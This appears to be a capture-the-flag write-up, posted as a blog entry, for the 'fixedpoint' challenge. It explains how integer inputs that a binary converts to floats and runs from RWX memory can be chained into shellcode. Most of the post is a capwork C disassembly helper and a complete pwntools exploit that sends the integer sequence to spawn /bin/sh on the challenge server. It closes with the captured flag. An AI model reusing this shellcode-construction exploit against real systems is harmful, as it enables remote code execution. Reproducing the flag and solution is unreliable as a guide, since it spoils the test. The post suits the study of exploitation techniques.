The binary simply reads integers from user, performs floating point operations on it and stores it in a mmap'ed region with RWX permission. Finally, the mmap'ed region with floating point numbers is executed. We need to supply inputs such that, it transforms to valid shellcode. To solve this, we disassembled floating point values for each of possible values using capstone. Then grepped for needed instructions to chain them together to call execve('/bin/sh', 0, 0)
#include <stdio.h> #include <string.h> #include <capstone/capstone.h> // gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone int disass(unsigned int num, char *code) { csh handle; cs_insn *insn; size_t count = 0; size_t inssz = 0; if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) return EXIT_FAILURE; count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn); if (count > 0) { for (int i = 0; i < count; i++) inssz += insn[i].size; // check if all bytes are disassembled if (inssz == sizeof(float)) { for (int i = 0; i < count; i++) printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str); } cs_free(insn, count); } cs_close(&handle); return 0; } int main(int argc, char **argv) { if (argc != 3) exit(EXIT_FAILURE); unsigned int from = atoi(argv[1]); unsigned int till = atoi(argv[2]); char opcode[8] = {0}; float bytes; for (unsigned int num = from; num <= till; num++) { bytes = num/1337.0; memcpy(opcode, (char *)&bytes, sizeof(float)); disass(num, opcode); } return 0; }Below is the payload:
#!/usr/bin/env python from pwn import * HOST = '127.0.0.1' HOST = 'fixedpoint.pwning.xxx' PORT = 7777 context.arch = 'x86_64' soc = remote(HOST, PORT) """ 134498: xchg eax, edi 134498: xor ecx, ecx 134498: inc edx """ soc.sendline('134498') """ 100487: das 100487: push ecx 100487: xchg eax, esi 100487: inc edx """ soc.sendline('100487') # set space for /bin/sh soc.sendline('100487') soc.sendline('100487') """ 146531: xchg eax, edi 146531: xor ebx, ebx 146531: inc edx """ soc.sendline('146531') """ 562055: dec esi 562055: xor edx, edx 562055: inc ebx """ soc.sendline('562055') """ 233578: cld 233578: mov bl, 0x2e 233578: inc ebx """ soc.sendline('233578') """ 198025: mov byte ptr [esp + edx], bl 198025: inc ebx """ soc.sendline('198025') """ 2238: inc eax 2238: inc edx 2238: salc 2238: aas """ soc.sendline('2238') """ 301765: cld 301765: mov bl, 0x61 301765: inc ebx """ soc.sendline('301765') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') #2238: inc edx soc.sendline('2238') """ 311124: cld 311124: mov bl, 0x68 311124: inc ebx """ soc.sendline('311124') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') #2238: inc edx soc.sendline('2238') """ 317809: cld 317809: mov bl, 0x6d 317809: inc ebx """ soc.sendline('317809') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') #2238: inc edx soc.sendline('2238') """ 233578: cld 233578: mov bl, 0x2e 233578: inc ebx """ soc.sendline('233578') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') #2238: inc edx soc.sendline('2238') """ 324494: cld 324494: mov bl, 0x72 324494: inc ebx """ soc.sendline('324494') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') #2238: inc edx soc.sendline('2238') """ 309787: cld 309787: mov bl, 0x67 309787: inc ebx """ soc.sendline('309787') #198025: mov byte ptr [esp + edx], bl soc.sendline('198025') """ 152108: dec ecx 152108: mov ebx, esp 152108: inc edx """ soc.sendline('152108') """ 134498: xchg eax, edi 134498: xor ecx, ecx 134498: inc edx """ soc.sendline('134498') """ 100487: das 100487: push ecx 100487: xchg eax, esi 100487: inc edx """ soc.sendline('100487') # for pop edx soc.sendline('100487') """ 151060: cmc 151060: mul ecx 151060: inc edx """ soc.sendline('151060') """ 46691: pop ecx 46691: mov al, 0xb 46691: inc edx """ soc.sendline('46691') """ 9464 : pop edx 9464 : and edx, 0x40 """ soc.sendline('9464') """ 1377666: dec edi 1377666: int 0x80 1377666: inc esp """ soc.sendline('1377666') soc.sendline('DONE') soc.recvline() soc.interactive() # PCTF{why_isnt_IEEE_754_IEEE_7.54e2}
Great Idea :)
ReplyDelete